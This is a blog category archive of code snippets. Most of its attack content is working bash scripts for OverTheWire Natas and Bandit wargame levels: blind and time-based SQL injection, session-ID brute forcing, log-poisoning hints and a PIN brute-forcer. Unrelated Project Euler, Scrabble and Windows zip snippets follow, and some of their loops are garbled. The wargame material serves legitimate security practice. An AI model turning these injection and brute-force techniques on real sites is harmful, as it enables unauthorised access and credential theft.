Category Archives: Code Tidbits

Collection of Natas

Natas 15
Attempt until the password substring matches

k=''
for v in {{a..z},{A..Z},{0..9}}; 
  do
    curl "natas15:$pw@"'http://natas15.natas.labs.overthewire.org/index.php'
     --data 'username=natas16%22+and+password+COLLATE+latin1_general_cs+LIKE%22'$k$v'%25'
     --compressed > out 2>/dev/null; 
    if [ `grep -c 'user exists' out` -gt 0 ]; 
      then k=$k$v; echo $k; break; 
    fi; 
done

Natas 18
Capture Password by introducing a 10 second sleep if the password is correct

#timeout.sh contains:
perl -e 'alarm shift; exec @ARGV' "$@";


Test the duration of the curl command

for z in {0..33}; 
  do 
    w=0; 
    for v in {{a..z},{A..Z},{0..9}}; 
      do ./timeout.sh 2 bash -c "curl natas18:$pw@'http://natas17.natas.labs.overthewire.org/index.php' 
        --data 'username=natas18%22+AND+IF+%28+password+COLLATE+latin1_general_cs+LIKE+%22'$pw$v'%25%22%2C+SLEEP%2810%29%2C+%22NO%22%29+%23' 
        --compressed > out 2>/dev/null" 2>/dev/null; 
        if [ $? -ne 0 ]; 
          then pw=$pw$v; 
          echo $pw; 
          w=1; 
        fi; 
    done; 
    if [ $w -eq 0 ]; then break; fi; 
done;

Natas 19
Search for session ID with a different page output

for k in {0..640};
  do
    curl "natas19:$pw@"'http://natas18.natas.labs.overthewire.org/index.php' -H 'Cookie: PHPSESSID='$k
     --compressed > out 2>/dev/null; 
     if [ `grep regular out | wc -l` -eq 0 ]; 
       then echo $k; 
       break; 
     fi; 
done

Natas 20
Brute Force for session ID after capturing ~500 new sessions (where username=admin) to determine common cookie elements, starts with 3, ends with 2d61646d696e.

for k in {0..64000}; 
  do
    curl "natas20:$pw@"'http://natas19.natas.labs.overthewire.org/index.php?debug=1'
      -H 'Cookie: PHPSESSID=3'$k'2d61646d696e' --compressed > out 2>/dev/null; 
    if [ `grep -E 'regular|username' out | wc -l ` -eq 0 ]; 
      then echo 'found: '$k; 
      break; 
    fi; 
    if [ $((k % 100)) -eq 0 ]; 
      then echo $k; 
    fi; 
done;

Other Hints

21 – Add %0A to trick the sessionwrite
22 – Simply change the form to send admin=1, then use the sessionID in the other site
23 – Ignore the redirect (and get the full webpage via curl)
24 – Break strcmp (make it fail)
25 – Log our php code into the *.log, then have the index.php ‘include’ the php commands we embedded in the log file.

Overthewire Bandit 24

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

C=32
for i in {0..282};
  do
    for j in $(seq 0 $(($C-1)));
    do
    k=$((i*$C+j+1000))
    if (( $k % 500 == 0 )) # show progress
    then
      echo $k
    fi

    echo $banditpass $k | nc localhost 30002 | grep -v Wrong | grep -v Exiting | grep -v checker &
  done

  while [ `jobs -r | wc -l | tr -d " "` >= $C ]; do
    sleep 1
  done
done

Working within the allowed number of parallel background jobs.

Project Euler – Problem 3

Problem 3:
The prime factors of 13195 are 5, 7, 13 and 29.

What is the largest prime factor of the number 600851475143 ?

import math

pSieve = []
max = math.floor(math.sqrt( 600851475143 ))
l = 0
i=2;
while i ii ):
			break;
		if (i % pSieve[j] == 0): 
			found = True
			break;
		j+=1
	if found == False:
		pSieve.append(i)
		if (600851475143 % i == 0):
			l=i
	i+=1
print l

Update to quick one-liner Windows unzips

So this one is taken from https://blogs.msdn.microsoft.com/daiken/2007/02/12/compress-files-with-windows-powershell-then-package-a-windows-vista-sidebar-gadget/

echo $zipfilename=$args[0]; $destination=$args[1];if(test-path($zipfilename)) {$shellApplication = new-object -com shell.application;$zipPackage = $shellApplication.NameSpace($zipfilename);$destinationFolder = $shellApplication.NameSpace($destination); $destinationFolder.CopyHere($zipPackage.Items()); };>unzip.ps1

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File unzip.ps1 %FullPathToZip% %FullPathToTarget%

This was tested on PSv2.

Scrabble Problem

If I give you scrabble tiles and a dictionary, determine the valid words
from your collection of tiles.

package joshho;

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.util.Arrays;

public class Runner {
	ScrabbleSet set ;
	
	private class ScrabbleSet {
		char[] chars;
		public ScrabbleSet(String[] orig){
			chars = new char[orig.length];
			for(int i=0;i chars.length) return false;
			Arrays.sort(find);
			int s=0;
			for(int i=0;i chars[j]) continue;
					if(find[i] == chars[j]){
						s=j+1;
						break;
					}
					return false;
				}
			}
			return true;
		}
	}
	
	public void load(String y){
		set = new ScrabbleSet(y.split(" "));
	}

	public static void main(String[] args) throws IOException {
		args = new String[]{"Scrabble\\data\\english4000.dic",
				"g w x b d u t z q m o i e p o"};
		FileReader fr =  new FileReader(args[0]);
		BufferedReader br = new BufferedReader(fr);

		Runner r = new Runner();
		r.load(args[1]);
		System.out.println(args[1]);
		
		String line;
		while((line = br.readLine()) != null) {
			System.out.print(line+" ");
			System.out.println(r.set.checkWord(line.toCharArray()));
		}
		br.close();
		
		
	}

}

There’s probably a better way to do this, I am interested
to see what other solutions there are.

Zip with ANT on Windows command line

Short two liner for ANT zipping on Windows.

 

>build.xml echo ^<project^>^<zip destfile=^"zipFile.zip^" basedir=^"toBeZipped^" /^>^</project^>
ant

Because Windows doesn’t apparently have a zip command line.

Updated here for Windows without ANT.

Bash Pitfalls

I was on IRC.. and noticed this link.. http://mywiki.wooledge.org/BashPitfalls,
if I had only known earlier…

Tons of useful information on Bash Pitfalls… as well as tons of habits to change… :/

My error was specifically #22,
cmd1 && cmd2 || cmd3 where I had assumed cmd2 is going to exit 0.

In most of my usecases… my command is in the form of cmd1 || sleep # && cmd3, I just naturally assume sleep is going to return 0.

Well, luckily for me, it has worked for the most part… but definitely need to change a number of my scripting habits…

Project Euler – Problem 69

Problem 69: Find the value of n < 1,000,000 for which n/φ(n) is a maximum.

Project Euler – Problem 68

Problem 68:
Consider the following “magic” 3-gon ring, filled with the numbers 1 to 6, and each line adding to nine.

Project Euler – Problem 66

Problem 66:
Consider quadratic Diophantine equations of the form:

x^2 – D*y^2 = 1